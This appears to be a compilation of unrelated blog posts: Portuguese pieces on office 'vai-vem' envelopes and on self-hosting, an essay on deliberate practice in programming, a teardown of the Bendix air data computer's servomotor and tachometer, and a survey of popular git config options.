Eu ainda tinha que usar nos anos 90, quando a empresa já tinha correio eletrônico, porque ainda não tínhamos solução para digitalizar documentos para anexar, especialmente no caso de documentos assinados.

um envelope vai-vem com fecho de barbante para facilitar o reuso - nada de fitas adesivas! - e 8 blocos de endereçamento. No verso ele tem espaço para mais endereçamentos

Os envelopes vai-vem (que ainda existem!) eram a solução interna em empresas pra mandar documentos pra outro departamento. A gente riscava os quadros sobre entregas anteriores desse mesmo envelope e aí anotava, no primeiro quadro disponível, no campo "De" o nosso nome, no campo "Para" o nome e departamento da outra pessoa, e largava em uma pilha.

O protocolo era em duas camadas, com MDA e MTA. No departamento, uma pessoa era responsável pelo recebimento e entrega. Ela cuidava da pilha e a entregava para outra pessoa, responsável pela transferência, que passava em determinados horários pra recolher a pilha do departamento, e entregar uma outra pilha contendo só envelopes direcionados ao nosso departamento.

Quando chegava essa pilha, a pessoa responsável pelo recebimento e entrega colocava em ordem e saía entregando o envelope a cada um, ou deixando em cima da mesa se o destinatário não estivesse lá na hora.

Quando a empresa funcionava em múltiplos prédios, o agente de transporte ainda podia ter que entregar a mais um nível de protocolo, que acumulava pilhas de envelopes em malotes e fazia a expedição para cada local, também em horários pré-determinados.

A foto mostra um modelo luxuoso de envelope vai-vem, com fecho de barbante (para evitar que a gente usasse fita adesiva que prejudicaria o reuso) e um quadro detalhado para descrição do conteúdo. Na minha experiência, só preenchíamos mesmo o De e o Para, e fechávamos com grampeador.

🐘 Comentários

O artigo "Quem lembra do envelope vai-vem?" foi originalmente publicado no site TRILUX, de Augusto Campos.

Self-hosted não é a resposta certa pra todo mundo

Luzes piscando nos elementos ativos de uma infraestrutura de self-hosting em cima de uma escrivaninha

A pessoa opta pela alternativa self-hosted de um blog, uma newsletter, etc., segue um tutorial de instalação e, quando vai perceber, era um esquema de pirâmide e agora ela tem que administrar um banco de dados, ficar continuamente atenta a incidentes de segurança, sofrer quando a linguagem de programação tem um upgrade que gera incompatibilidades inesperadas, etc.

É ótimo pra quem curte (eu curto, mas com ressalvas, e já curti bem mais, no passado), e também funciona suave pra quem tem muita sorte com a estabilidade e longevidade de algum pacotão pré-pronto.

Aliás, foi por cansar disso que há 11 anos eu programei meu próprio CMS, o Axe (que hospeda este blog, e mais alguns por aí): eu cansei de dependências externas, ele gera e mantém só HTML estático e a sua dependência é ter o PHP acessível a partir da shell (no httpd não precisa).

🐘 Comentários

O artigo "Self-hosted não é a resposta certa pra todo mundo" foi originalmente publicado no site TRILUX, de Augusto Campos.

Go slow to go fast

A couple of weeks ago, I started working with a personal trainer to improve my fitness. I've long been an endurance athlete, and it's time to lean into my overall fitness and strength. Part of this is to be healthy and live a long life. But honestly? More of it is a desire to come back stronger and beat my old personal records.

As part of the training, I'm building skills I've not worked on before and I'm confronted with being back at the beginning of something. My workouts include work on strength and flexibility, but the hardest is everything around stability.

An exercise that my trainer has me do is palm side planks. There are a few variations on this, but the position I end up in has me on my side with one foot and one hand touching the floor, my feet and hips stacked, my back straight, and both arms fully extended. One hand touches the floor, the other extends toward the ceiling. This is an exercise in strength and balance, and it is so hard for me.

At first, I tried to just swing right up into that position as quickly as I thought I should be able to. I'd go into the position, then wobble and fall. Up, wobble, fall. Up, wobble, fall.

Eventually I learned that I need to go smoothly and slowly into position, focusing on keeping the right form. I get there more stably, and I can hold it better, and over time I get up into it faster and more reliably. Some days I still fall, but less.

This holds for my other exercises, too. The instinct when your muscles hurt is to get through it as quickly as you can. This leads to bad form, and bad form leads to injuries. You have to slow down and concentrate on getting the form right, and complete the exercise slowly and smoothly. If you can't complete it smoothly at low resistance, you're not ready to go faster or with higher resistance.


This holds true for everything you want to improve. I'm a software engineer and a programmer. I like what I do, even though I found it by accident1. My love for software engineering grew over time through mastery, and I put a lot of time into practicing my craft.

One of the ways to practice software engineering is to do it, deliberately, over and over. The key is to pick something at the right level of difficulty. Too easy or too hard and you won't improve. You're not going to become an expert software engineer by writing fizzbuzz2 or fibonacci ten thousand times. And you're not going to start by making a new programming language or creating a new operating system.

What you need is something right at the edge of your abilities. Something where it is achievable, but hard. This will be uncomfortable most of the time, the same way a difficult exercise is uncomfortable, until you learn to enjoy and accept the feeling of discomfort by associating it with improvement. You have to pick projects that are just beyond what you can do today and push through that barrier until you get better at it.

When you're working on those projects, you have to introspect and examine what you're doing. Look at the approaches you take and how you solve problems and how you implement things. Examine it the way you would watch your form during a workout, and repeatedly correct yourself.

This is a very slow process. The desire is to just be an expert, to try hard things now so you can do them! But by focusing on small details and getting your form perfect for each small piece, one by one, you build up to being able to do the bigger projects well.


Part of the difficulty is knowing what is actually achievable for you and what's not. This is where a community3 and a job can help, because you'll be around people who are beyond where you are and who you are beyond, and you can all help each other. And in a work context, your manager wants you to succeed and grow4, and part of their job is matching you with a lot of work you can do very well and some work that will really stretch you. It's not out of kindness, it's so that you can be more valuable to the team. But the goals align nicely.

Here are some of the projects I've worked on throughout the years as deliberate practice to stretch my abilities. I hope these can serve as inspiration and as an example.

  • From-scratch common data structures and algorithms which I'd used but didn't know how they worked. Among others, I implemented linked lists and hashmaps and sorting algorithms. This one was early in my computer science degree to understand how these work and how I could write similar things.
  • A mini map-reduce framework in C++. I worked with Hadoop at my internship but didn't know how it worked, so I made a small version. The key to making this achievable was removing the distributed computing component and having it run on only one machine, using threads. Problems like this are nice for finding your limits, because you can start with a very small, very constrained version of the problem and ratchet it up until you find the hard part.
  • A simple key-value store copying Redis's API. This pushed me to learn a lot about how databases and systems programs and parsers work. It was achievable because it's a small project with a lot of resources out there.
  • Working through Crafting Interpreters in a different language. The book used Java and C, so I used Rust. This forced me to ensure that I understood the concepts and also pushed my Rust abilities. I had to understand why things were done that way in Java and C so that I could convert it to the slightly different Rust version.

For each of these, I had to go slow to go fast. I always wanted to jump to the end result, just move straight up into the palm side plank. But if I do that, I fall over.

Instead, I had to go slow and build my understanding of what I was doing. What is the design of a key-value store? How should I write mine? How does a hashmap work, and how do I implement one? Why is the interpreter using this particular design? Do I need it, or can I do something different?

Then with each question answered, I could move through the code. Slowly, deliberately, answering questions. When I would speed up and take shortcuts, it would bite me and I would make mistakes that I found later on and had to do major rework for. When I went slowly and deliberately and gained a deeper understanding, these were fewer and further between.

There are lots of ways to deliberately practice your programming and software engineering. Along the way, it will feel like you're going slow. But as you perfect each piece, that piece gets faster and smoother and, next time, you can move through it more fluidly.


1

I intended to be a mathematician and stumbled into programming. Then I intended to do computer science research, but stumbled into software engineering. Research was incompatible with my mental health (in part due to undiagnosed depression), so I started as a software engineer simply to make money. I grew to love software engineering through mastery of it.

2

Though, there are certainly interesting things you can do with fizzbuzz.

3

The best community for this is the Recurse Center. If this post resonates with you, think about applying for a batch!

4

Hopefully your manager does care. Sometimes they don't, and there are better jobs out there.

Crossword Constructors

Also, we would really appreciate it if you could prominently refer to it as an 'eHit'.

Inside the mechanical Bendix Air Data Computer, part 5: motor/tachometers

The Bendix Central Air Data Computer (CADC) is an electromechanical analog computer that uses gears and cams for its mathematics. It was a key part of military planes such as the F-101 and the F-111 fighters, computing airspeed, Mach number, and other "air data". The rotating gears are powered by six small servomotors, so these motors are in a sense the fundamental component of the CADC. In the photo below, you can see one of the cylindrical motors near the center, about 1/3 of the way down.

The servomotors in the CADC are unlike standard motors. Their name—"Motor-Tachometer Generator" or "Motor and Rate Generator"1—indicates that each unit contains both a motor and a speed sensor. Because the motor and generator use two-phase signals, there are a total of eight colorful wires coming out, many more than a typical motor. Moreover, the direction of the motor can be controlled, unlike typical AC motors. I couldn't find a satisfactory explanation of how these units worked, so I bought one and disassembled it. This article (part 5 of my series on the CADC2) provides a complete teardown of the motor/generator and explain how it works.

The Bendix MG-1A Central Air Data Computer with the case removed, showing the compact gear mechanisms inside. Click this image (or any other) for a larger version.

The Bendix MG-1A Central Air Data Computer with the case removed, showing the compact gear mechanisms inside. Click this image (or any other) for a larger version.

The image below shows a closeup of two motors powering one of the pressure signal outputs. Note the bundles of colorful wires to each motor, entering in two locations. At the top, the motors drive complex gear trains. The high-speed motors are geared down by the gear trains to provide much slower rotations with sufficient torque to power the rest of the CADC's mechanisms.

Two motor/generators in the pressure section of the CADC. The one at the back is mostly hidden.

Two motor/generators in the pressure section of the CADC. The one at the back is mostly hidden.

The motor/tachometer that we disassembled is shorter than the ones in the CADC (despite having the same part number), but the principles are the same. We started by removing a small C-clip on the end of the motor and and unscrewing the end plate. The unit is pretty simple mechanically. It has bearings at each end for the rotor shaft. There are four wires for the motor and four wires for the tachometer.3

The motor disassembled to show the internal components.

The motor disassembled to show the internal components.

The rotor (below) has two parts on the shaft. the left part is for the motor and the right drum is for the tachometer. The left part is a squirrel-cage rotor4 for the motor. It consists of conducting bars (light-colored) on an iron core. The conductors are all connected at both ends by the conductive rings at either end. The metal drum on the right is used by the tachometer. Note that there are no electrical connections between the rotor components and the rest of the motor: there are no brushes or slip rings. The interaction between the rotor and the windings in the body of the motor is purely magnetic, as will be explained.

The rotor and shaft.

The rotor and shaft.

The motor/tachometer contains two cylindrical stators that create the magnetic fields, one for the motor and one for the tachometer. The photo below shows the motor stator inside the unit after removing the tachometer stator. The stators are encased in hard green plastic and tightly pressed inside the unit. In the center, eight metal poles are visible. They direct the magnetic field onto the rotor.

Inside the motor after removing the tachometer winding.

Inside the motor after removing the tachometer winding.

The photo below shows the stator for the tachometer, similar to the stator for the motor. Note the shallow notches that look like black lines in the body on the lower left. These are probably adjustments to the tachometer during manufacturing to compensate for imperfections. The adjustments ensure that the magnetic fields are nulled out so the tachometer returns zero voltage when stationary. The metal plate on top shields the tachometer from the motor's magnetic fields.

The stator for the tachometer.

The stator for the tachometer.

The poles and the metal case of the stator look solid, but they are not. Instead, they are formed from a stack of thin laminations. The reason to use laminations instead of solid metal is to reduce eddy currents in the metal. Each lamination is varnished, so it is insulated from its neighbors, preventing the flow of eddy currents.

One lamination from the stack of laminations that make up the winding. The lamination suffered some damage during disassembly; it was originally round.

One lamination from the stack of laminations that make up the winding. The lamination suffered some damage during disassembly; it was originally round.

In the photo below, I removed some of the plastic to show the wire windings underneath. The wires look like bare copper, but they have a very thin layer of varnish to insulate them. There are two sets of windings (orange and blue, or red and black) around alternating metal poles. Note that the wires run along the pole, parallel to the rotor, and then wrap around the pole at the top and bottom, forming oblong coils around each pole.5 This generates a magnetic field through each pole.

Removing the plastic reveals the motor windings.

Removing the plastic reveals the motor windings.

The motor

The motor part of the unit is a two-phase induction motor with a squirrel-cage rotor.6 There are no brushes or electrical connections to the rotor, and there are no magnets, so it isn't obvious what makes the rotor rotate. The trick is the "squirrel-cage" rotor, shown below. It consists of metal bars that are connected at the top and bottom by rings. Assume (for now) that the fixed part of the motor, the stator, creates a rotating magnetic field. The important principle is that a changing magnetic field will produce a current in a wire loop.7 As a result, each loop in the squirrel-cage rotor will have an induced current: current will flow up9 the bars facing the north magnetic field and down the south-facing bars, with the rings on the end closing the circuits.

A squirrel-cage rotor. The numbered parts are (1) shaft, (2) end cap, (3) laminations, and (4) splines to hold the laminations. Image from Robo Blazek.

A squirrel-cage rotor. The numbered parts are (1) shaft, (2) end cap, (3) laminations, and (4) splines to hold the laminations. Image from Robo Blazek.

But how does the stator produce a rotating magnetic field? And how do you control the direction of rotation? The next important principle is that current flowing through a wire produces a magnetic field.8 As a result, the currents in the squirrel cage rotor produce a magnetic field perpendicular to the cage. This magnetic field causes the rotor to turn in the same direction as the stator's magnetic field, driving the motor. Because the rotor is powered by the induced currents, the motor is called an induction motor.

The diagram below shows how the motor is wired, with a control winding and a reference winding. Both windings are powered with AC, but the control voltage either lags the reference winding by 90° or leads the reference winding by 90°, due to the capacitor. Suppose the current through the control winding lags by 90°. First, the reference voltage's sine wave will have a peak, producing the magnetic field's north pole at A. Next (90° later), the control voltage will peak, producing the north pole at B. The reference voltage will go negative, producing a south pole at A and thus a north pole at C. The control voltage will go negative, producing a south pole at B and a north pole at D. This cycle will repeat, with the magnetic field rotating counter-clockwise from A to D. Conversely, if the control voltage leads the reference voltage, the magnetic field will rotate clockwise. This causes the motor to spin in one direction or the other, with the direction controlled by the control voltage. (The motor has four poles for each winding, rather than the one shown below; this increases the torque and reduces the speed.)

Diagram showing the servomotor wiring.

Diagram showing the servomotor wiring.

The purpose of the capacitor is to provide the 90° phase shift so the reference voltage and the control voltage can be driven from the same single-phase AC supply (in this case, 26 volts, 400 hertz). Switching the polarity of the control voltage reverses the direction of the motor.

There are a few interesting things about induction motors. You might expect that the motor would spin at the same rate as the rotating magnetic field. However, this is not the case. Remember that a changing magnetic field induces the current in the squirrel-cage rotor. If the rotor is spinning at the same rate as the magnetic field, the rotor will encounter an unchanging magnetic field and there will be no current in the bars of the rotor. As a result, the rotor will not generate a magnetic field and there will be no torque to rotate it. The consequence is that the rotor must spin somewhat slower than the magnetic field. This is called "slippage" and is typically a few percent of the full speed, with more slippage as more torque is required.

Many household appliances use induction motors, but how do they generate a rotating magnetic field from a single-phase AC winding? The problem is that the magnetic field in a single AC winding will just flip back and forth, so the motor will not turn in either direction. One solution is a shaded-pole motor, which puts a copper bar around part of each pole to break the symmetry and produce a weakly rotating magnetic field. More powerful induction motors use a startup winding with a capacitor (analogous to the control winding). This winding can either be switched out of the circuit once the motor starts spinning,10 or used continuously, called a permanent-split capacitor (PSC) motor. The best solution is three-phase power (if available); a three-phase winding automatically produces a rotating magnetic field.

Tachometer/generator

The second part of the unit is the tachometer generator, sometimes called the rate unit.11 The purpose of the generator is to produce a voltage proportional to the speed of the shaft. The unusual thing about this generator is that it produces a 400-hertz output that is either in phase with the input or 180° out of phase. This is important because the phase indicates which direction the shaft is turning. Note that a "normal" generator is different: the output frequency is proportional to the speed.

The diagram below shows the principle behind the generator. It has two stator windings: the reference coil that is powered at 400 Hz, and the output coil that produces the output signal. When the rotor is stationary (A), the magnetic flux is perpendicular to the output coil, so no output voltage is produced. But when the rotor turns (B), eddy currents in the rotor distort the magnetic field. It now couples with the output coil, producing a voltage. As the rotor turns faster, the magnetic field is distorted more, increasing the coupling and thus the output voltage. If the rotor turns in the opposite direction (C), the magnetic field couples with the output coil in the opposite direction, inverting the output phase. (This diagram is more conceptual than realistic, with the coils and flux 90° from their real orientation, so don't take it too seriously. As shown earlier, the coils are perpendicular to the rotor so the real flux lines are completely different.)

Principle of the drag-cup rate generator. From Navy electricity and electronics training series: Principles of synchros, servos, and gyros, Fig 2-16

But why does the rotating drum change the magnetic field? It's easier to understand by considering a tachometer that uses a squirrel-cage rotor instead of a drum. When the rotor rotates, currents will be induced in the squirrel cage, as described earlier with the motor. These currents, in turn, generate a perpendicular magnetic field, as before. This magnetic field, perpendicular to the orginal field, will be aligned with the output coil and will be picked up. The strength of the induced field (and thus the output voltage) is proportional to the speed, while the direction of the field depends on the direction of rotation. Because the primary coil is excited at 400 hertz, the currents in the squirrel cage and the resulting magnetic field also oscillate at 400 hertz. Thus, the output is at 400 hertz, regardless of the input speed.

Using a drum instead of a squirrel cage provides higher accuracy because there are no fluctuations due to the discrete bars. The operation is essentially the same, except that the currents pass through the metal of the drum continuously instead of through individual bars. The result is eddy currents in the drum, producing the second magnetic field. The diagram below shows the eddy currents (red lines) from a metal plate moving through a magnetic field (green), producing a second magnetic field (blue arrows). For the rotating drum, the situation is similar except the metal surface is curved, so both field arrows will have a component pointing to the left. This creates the directed magnetic field that produces the output.

A diagram showing eddy currents in a metal plate moving under a magnet, Image from Chetvorno.

A diagram showing eddy currents in a metal plate moving under a magnet, Image from Chetvorno.

The servo loop

The motor/generator is called a servomotor because it is used in a servo loop, a control system that uses feedback to obtain precise positioning. In particular, the CADC uses the rotational position of shafts to represent various values. The servo loops convert the CADC's inputs (static pressure, dynamic pressure, temperature, and pressure correction) into shaft positions. The rotations of these shafts power the gears, cams, and differentials that perform the computations.

The diagram below shows a typical servo loop in the CADC. The goal is to rotate the output shaft to a position that exactly matches the input voltage. To accomplish this, the output position is converted into a feedback voltage by a potentiometer that rotates as the output shaft rotates.12 The error amplifier compares the input voltage to the feedback voltage and generates an error signal, rotating the servomotor in the appropriate direction. Once the output shaft is in the proper position, the error signal drops to zero and the motor stops. To improve the dynamic response of the servo loop, the tachometer signal is used as a negative feedback voltage. This ensures that the motor slows as the system gets closer to the right position, so the motor doesn't overshoot the position and oscillate. (This is sort of like a PID controller.)

Diagram of a servo loop in the CADC.

Diagram of a servo loop in the CADC.

The error amplifier and motor drive circuit for a pressure transducer are shown below. Because of the state of electronics at the time, it took three circuit boards to implement a single servo loop. The amplifier was implemented with germanium transistors (since silicon transistors were later). The transistors weren't powerful enough to drive the motors directly. Instead, magnetic amplifiers (the yellow transformer-like modules at the front) powered the servomotors. The large rectangular capacitors on the right provided the phase shift required for the control voltage.

One of the three-board amplifiers for the pressure transducer.

One of the three-board amplifiers for the pressure transducer.

Conclusions

The Bendix CADC used a variety of electromechanical devices including synchros, control transformers, servo motors, and tachometer generators. These were expensive military-grade components driven by complex electronics. Nowadays, you can get a PWM servo motor for a few dollars with the gearing, feedback, and control circuitry inside the motor housing. These motors are widely used for hobbyist robotics, drones, and other applications. It's amazing that servo motors have gone from specialized avionics hardware to an easy-to-use, inexpensive commodity.

A modern DC servo motor. Photo by Adafruit (CC BY-NC-SA 2.0 DEED).

A modern DC servo motor. Photo by Adafruit (CC BY-NC-SA 2.0 DEED).

Follow me on Twitter @kenshirriff or RSS for updates. I'm also on Mastodon as @oldbytes.space@kenshirriff. Thanks to Joe for providing the CADC. Thanks to Marc Verdiell for disassembling the motor.

Notes and references

  1. The two types of motors in the CADC are part number "FV-101-19-A1" and part number "FV-101-5-A1" (or FV101-5A1). They are called either a "Tachometer Rate Generator" or "Tachometer Motor Generator", with both names applied to the same part number. The "19" and "5" units look the same, with the "19" used for one pressure servo loop and the "5" used everywhere else.

    The motor that I got is similar to the ones in the CADC, but shorter. The difference in size is mysterious since both have the Bendix part number FV-101-5-A1.

    For reference, the motor I disassembled is labeled:

    Cedar Division Control Data Corp. ST10162 Motor Tachometer F0: 26V C0: 26V TACH: 18V 400 CPS DSA-400-70C-4651 FSN6105-581-5331 US BENDIX FV-101-5-A1

    I wondered why the motor listed both Control Data and Bendix. In 1952, the Cedar Engineering Company was spun off from the Minneapolis Honeywell Regulator Company (better known as Honeywell, the name it took in 1964). Cedar Engineering produced motors, servos, and aircraft actuators. In 1957, Control Data bought Cedar Engineering, which became the Cedar Division of CDC. Then, Control Data acquired Bendix's computer division in 1963. Thus, three companies were involved. 

  2. My previous articles on the CADC are:

     
  3. From testing the motor, here is how I believe it is wired:
    Motor reference (power): red and black
    Motor control: blue and orange
    Generator reference (power): green and brown
    Generator out: white and yellow 

  4. The bars on the squirrel-cage rotor are at a slight angle. Parallel bars would go in and out of alignment with the stator, causing fluctuations in the force, while the angled bars avoid this problem. 

  5. This cross-section through the stator shows the windings. On the left, each winding is separated into the parts on either side of the pole. On the right, you can see how the wires loop over from one side of the pole to the other. Note the small circles in the 12 o'clock and 9 o'clock positions: cross sections of the input wires. The individual horizontal wires near the circumference connect alternating windings.

    A cross-section of the stator, formed by sanding down the plastic on the end.

    A cross-section of the stator, formed by sanding down the plastic on the end.

     

  6. It's hard to find explanations of AC servomotors since they are an old technology. One discussion is in Electromechanical components for servomechanisms (1961). This book points out some interesting things about a servomotor. The stall torque is proportional to the control voltage. Servomotors are generally high-speed, but low-torque devices, heavily geared down. Because of their high speed and their need to change direction, rotational inertia is a problem. Thus, servomotors typically have a long, narrow rotor compared with typical motors. (You can see in the teardown photo that the rotor is long and narrow.) Servomotors are typically designed with many poles (to reduce speed) and smaller air gaps to increase inductance. These small airgaps (e.g. 0.001") require careful manufacturing tolerance, making servomotors a precision part. 

  7. The principle is Faraday's law of induction: "The electromotive force around a closed path is equal to the negative of the time rate of change of the magnetic flux enclosed by the path." 

  8. Ampère's law states that "the integral of the magnetizing field H around any closed loop is equal to the sum of the current flowing through the loop." 

  9. The direction of the current flow (up or down) depends on the direction of rotation. I'm not going to worry about the specific direction of current flow, magnetic flux, and so forth in this article. 

  10. Once an induction motor is spinning, it can be powered from a single AC phase since the stator is rotating with respect to the magnetic field. This works for the servomotor too. I noticed that once the motor is spinning, it can operate without the control voltage. This isn't the normal way of using the motor, though. 

  11. A long discussion of tachometers is in the book Electromechanical Components for Servomechanisms (1961). The AC induction-generator tachometer is described starting on page 193.

    For a mathematical analysis of the tachometer generator, see Servomechanisms, Section 2, Measurement and Signal Converters, MCP 706-137, U.S. Army. This source also discusses sources of errors in detail. Inexpensive tachometer generators may have an error of 1-2%, while precision devices can have an error of about 0.1%. Accuracy is worse for small airborne generators, though. Since the Bendix CADC uses the tachometer output for damping, not as a signal output, accuracy is less important. 

  12. Different inputs in the CADC use different feedback mechanisms. The temperature servo uses a potentiometer for feedback. The angle of attack correction uses a synchro control transformer, which generates a voltage based on the angle error. The pressure transducers contain inductive pickups that generate a voltage based on the pressure error. For more details, see my article on the CADC's pressure transducer servo circuits

Popular git config options

Hello! I always wish that command line tools came with data about how popular their various options are, like:

  • “basically nobody uses this one”
  • “80% of people use this, probably take a look”
  • “this one has 6 possible values but people only really use these 2 in practice”

So I asked about people’s favourite git config options on Mastodon:

what are your favourite git config options to set? Right now I only really have git config push.autosetupremote true and git config init.defaultBranch main set in my ~/.gitconfig, curious about what other people set

As usual I got a TON of great answers and learned about a bunch of very popular git config options that I’d never heard of.

I’m going to list the options, starting with (very roughly) the most popular ones. Here’s a table of contents:

All of the options are documented in man git-config, or this page.

pull.ff only or pull.rebase true

These two were the most popular. These both have similar goals: to avoid accidentally creating a merge commit when you run git pull on a branch where the upstream branch has diverged.

  • pull.rebase true is the equivalent of running git pull --rebase every time you git pull
  • pull.ff only is the equivalent of running git pull --ff-only every time you git pull

I’m pretty sure it doesn’t make sense to set both of them at once, since --ff-only overrides --rebase.

Personally I don’t use either of these since I prefer to decide how to handle that situation every time, and now git’s default behaviour when your branch has diverged from the upstream is to just throw an error and ask you what to do (very similar to what git pull --ff-only does).

merge.conflictstyle zdiff3

Next: making merge conflicts more readable! merge.conflictstyle zdiff3 and merge.conflictstyle diff3 were both super popular (“totally indispensable”).

The main idea is The consensus seemed to be “diff3 is great, and zdiff3 (which is newer) is even better!”.

So what’s the deal with diff3. Well, by default in git, merge conflicts look like this:

<<<<<<< HEAD
def parse(input):
    return input.split("\n")
=======
def parse(text):
    return text.split("\n\n")
>>>>>>> somebranch

I’m supposed to decide whether input.split("\n") or text.split("\n\n") is better. But how? What if I don’t remember whether \n or \n\n is right? Enter diff3!

Here’s what the same merge conflict look like with merge.conflictstyle diff3 set:

<<<<<<< HEAD
def parse(input):
    return input.split("\n")
||||||| b9447fc
def parse(input):
    return input.split("\n\n")
=======
def parse(text):
    return text.split("\n\n")
>>>>>>> somebranch

This has extra information: now the original version of the code is in the middle! So we can see that:

  • one side changed \n\n to \n
  • the other side renamed input to text

So presumably the correct merge conflict resolution is return text.split("\n"), since that combines the changes from both sides.

I haven’t used zdiff3, but a lot of people seem to think it’s better. The blog post Better Git Conflicts with zdiff3 talks more about it.

rebase.autosquash true

Autosquash was also a new feature to me. The goal is to make it easier to modify old commits.

Here’s how it works:

  • You have a commit that you would like to be combined with some commit that’s 3 commits ago, say add parsing code
  • You commit it with git commit --fixup OLD_COMMIT_ID, which gives the new commit the commit message fixup! add parsing code
  • Now, when you run git rebase --autosquash main, it will automatically combine all the fixup! commits with their targets

rebase.autosquash true means that --autosquash always gets passed automatically to git rebase.

rebase.autostash true

This automatically runs git stash before a git rebase and git stash pop after. It basically passes --autostash to git rebase.

Personally I’m a little scared of this since it potentially can result in merge conflicts after the rebase, but I guess that doesn’t come up very often for people since it seems like a really popular configuration option.

push.default simple, push.default current

These push.default options tell git push to automatically push the current branch to a remote branch with the same name.

  • push.default simple is the default in Git. It only works if your branch is already tracking a remote branch
  • push.default current is similar, but it’ll always push the local branch to a remote branch with the same name.
  • push.autoSetupRemote and push.default simple together seem to do basically the same thing as push.default current

current seems like a good setting if you’re confident that you’re never going to accidentally make a local branch with the same name as an unrelated remote branch. Lots of people have branch naming conventions (like julia/my-change) that make this kind of conflict very unlikely, or just have few enough collaborators that branch name conflicts probably won’t happen.

init.defaultBranch main

Create a main branch instead of a master branch when creating a new repo.

commit.verbose true

This adds the whole commit diff in the text editor where you’re writing your commit message, to help you remember what you were doing.

rerere.enabled true

This enables rerere (”reuse recovered resolution”), which remembers how you resolved merge conflicts during a git rebase and automatically resolves conflicts for you when it can.

help.autocorrect 10

By default git’s autocorrect try to check for typos (like git ocmmit), but won’t actually run the corrected command.

If you want it to run the suggestion automatically, you can set help.autocorrect to 1 (run after 0.1 seconds), 10 (run after 1 second), immediate (run immediately), or prompt (run after prompting)

core.pager delta

The “pager” is what git uses to display the output of git diff, git log, git show, etc. People set it to:

  • delta (a fancy diff viewing tool with syntax highlighting)
  • less -x5,9 (sets tabstops, which I guess helps if you have a lot of files with tabs in them?)
  • less -F -X (not sure about this one, -F seems to disable the pager if everything fits on one screen if but my git seems to do that already anyway)
  • cat (to disable paging altogether)

I used to use delta but turned it off because somehow I messed up the colour scheme in my terminal and couldn’t figure out how to fix it. I think it’s a great tool though.

I believe delta also suggests that you set up interactive.diffFilter delta --color-only to syntax highlight code when you run git add -p.

diff.algorithm histogram

Git’s default diff algorithm often handles functions being reordered badly. For example look at this diff:

-.header {
+.footer {
     margin: 0;
 }

-.footer {
+.header {
     margin: 0;
+    color: green;
 }

I find it pretty confusing. But with diff.algorithm histogram, the diff looks like this instead, which I find much clearer:

-.header {
-    margin: 0;
-}
-
 .footer {
     margin: 0;
 }

+.header {
+    margin: 0;
+    color: green;
+}

Some folks also use patience, but histogram seems to be more popular. When to Use Each of the Git Diff Algorithms has more on this.

core.excludesfile: a global .gitignore

core.excludeFiles = ~/.gitignore lets you set a global gitignore file that applies to all repositories, for things like .idea or .DS_Store that you never want to commit to any repo. It defaults to ~/.config/git/ignore.

includeIf: separate git configs for personal and work

Lots of people said they use this to configure different email addresses for personal and work repositories. You can set it up something like this:

[includeIf "gitdir:~/code/<work>/"]
path = "~/code/<work>/.gitconfig"

url."[email protected]:".insteadOf 'https://github.com/'

I often accidentally clone the HTTP version of a repository instead of the SSH version and then have to manually go into ~/.git/config and edit the remote URL. This seems like a nice workaround: it’ll replace https://github.com in remotes with [email protected]:.

Here’s what it looks like in ~/.gitconfig since it’s kind of a mouthful:

[url "[email protected]:"]
	insteadOf = "https://github.com/"

One person said they use pushInsteadOf instead to only do the replacement for git push because they don’t want to have to unlock their SSH key when pulling a public repo.

A couple of other people mentioned setting insteadOf = "gh:" so they can git remote add gh:jvns/mysite to add a remote with less typing.

fsckobjects: avoid data corruption

A couple of people mentioned this one. Someone explained it as “detect data corruption eagerly. Rarely matters but has saved my entire team a couple times”.

transfer.fsckobjects = true
fetch.fsckobjects = true
receive.fsckObjects = true

submodule stuff

I’ve never understood anything about submodules but a couple of person said they like to set:

  • status.submoduleSummary true
  • diff.submodule log
  • submodule.recurse true

I won’t attempt to explain those but there’s an explanation on Mastodon by @unlambda here.

and more

Here’s everything else that was suggested by at least 2 people:

  • blame.ignoreRevsFile .git-blame-ignore-revs lets you specify a file with commits to ignore during git blame, so that giant renames don’t mess up your blames
  • branch.sort -committerdate, makes git branch sort by most recently used branches instead of alphabetical, to make it easier to find branches. tag.sort taggerdate is similar for tags.
  • color.ui false: to turn off colour
  • commit.cleanup scissors: so that you can write #include in a commit message without the # being treated as a comment and removed
  • core.autocrlf false: on Windows, to work well with folks using Unix
  • core.editor emacs: to use emacs (or another editor) to edit commit messages
  • credential.helper osxkeychain: use the Mac keychain for managing
  • diff.tool difftastic: use difftastic (or meld or nvimdiffs) to display diffs
  • diff.colorMoved default: uses different colours to highlight lines in diffs that have been “moved”
  • diff.colorMovedWS allow-indentation-change: with diff.colorMoved set, also ignores indentation changes
  • diff.context 10: include more context in diffs
  • fetch.prune true and fetch.prunetags - automatically delete remote tracking branches that have been deleted
  • gpg.format ssh: allow you to sign commits with SSH keys
  • log.date iso: display dates as 2023-05-25 13:54:51 instead of Thu May 25 13:54:51 2023
  • merge.keepbackup false, to get rid of the .orig files git creates during a merge conflict
  • merge.tool meld (or nvim, or nvimdiff) so that you can use git mergetool to help resolve merge conflicts
  • push.followtags true: push new tags along with commits being pushed
  • rebase.missingCommitsCheck error: don’t allow deleting commits during a rebase
  • rebase.updateRefs true: makes it much easier to rebase multiple stacked branches at a time. Here’s a blog post about it.

how to set these

I generally set git config options with git config --global NAME VALUE, for example git config --global diff.algorithm histogram. I usually set all of my options globally because it stresses me out to have different git behaviour in different repositories.

If I want to delete an option I’ll edit ~/.gitconfig manually, where they look like this:

[diff]
	algorithm = histogram

config changes I’ve made after writing this post

My git config is pretty minimal, I already had:

  • init.defaultBranch main
  • push.autoSetupRemote true
  • merge.tool meld
  • diff.colorMoved default (which actually doesn’t even work for me for some reason but I haven’t found the time to debug)

and I added these 3 after writing this blog post:

  • diff.algorithm histogram
  • branch.sort -committerdate
  • merge.conflictstyle zdiff3

I’d probably also set rebase.autosquash if making carefully crafted pull requests with multiple commits were a bigger part of my life right now.

I’ve learned to be cautious about setting new config options – it takes me a long time to get used to the new behaviour and if I change too many things at once I just get confused. branch.sort -committerdate is something I was already using anyway (through an alias), and I’m pretty sold that diff.algorithm histogram will make my diffs easier to read when I reorder functions.

that’s all!

I’m always amazed by how useful to just ask a lot of people what stuff they like and then list the most commonly mentioned ones, like with this list of new-ish command line tools I put together a couple of years ago. Having a list of 20 or 30 options to consider feels so much more efficient than combing through a list of all 600 or so git config options

It was a little confusing to summarize these because git’s default options have actually changed a lot of the years, so people occasionally have options set that were important 8 years ago but today are the default. Also a couple of the experimental options people were using have been removed and replaced with a different version.

